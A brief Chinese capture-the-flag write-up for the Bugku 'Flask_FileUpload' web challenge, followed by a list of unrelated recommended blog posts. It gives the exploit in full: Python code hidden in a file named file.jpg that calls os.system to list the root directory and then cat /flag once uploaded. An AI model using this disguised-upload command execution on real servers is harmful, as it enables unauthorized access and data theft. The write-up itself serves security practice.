Bugku-web-Flask_FileUpload

Bugku-web-Flask_FileUpload

查看源代码,提示用python返回结果

在file.jpg中写python代码

复制代码
import os
os.system('ls / ')

上传后查看源代码,找到flag文件夹

修改代码

复制代码
import os
os.system('cat /flag ')
相关推荐
m0_470857645 分钟前
golang如何实现目录大小统计_golang目录大小统计实现方案
jvm·数据库·python
消晨消晨24 分钟前
MONAI初上手——模型构建
pytorch·python·monai
weixin_4440129328 分钟前
如何在多实例管理时隐藏MySQL版本信息_安全混淆与配置
jvm·数据库·python
weixin_4597539438 分钟前
SQL处理大规模分组聚合的内存限制_调整服务器配置
jvm·数据库·python
Rust语言中文社区1 小时前
【Rust日报】2026-05-14 Pyrefly v1.0 正式发布:快速的 Python 类型检查器和语言服务器
开发语言·后端·python·rust
2601_956139421 小时前
广州VI设计公司哪家强
linux·运维·服务器·python
我是若尘1 小时前
用 Git Worktree 同时开多个需求,不用来回 stash
前端
databook1 小时前
让数学公式自动推导
python·数学·动效
IT_陈寒1 小时前
Vue的v-for为什么不加key也能工作?我差点翻车
前端·人工智能·后端
小碗羊肉1 小时前
【JavaWeb | 第十二篇】项目实战——登录功能
java·前端·数据库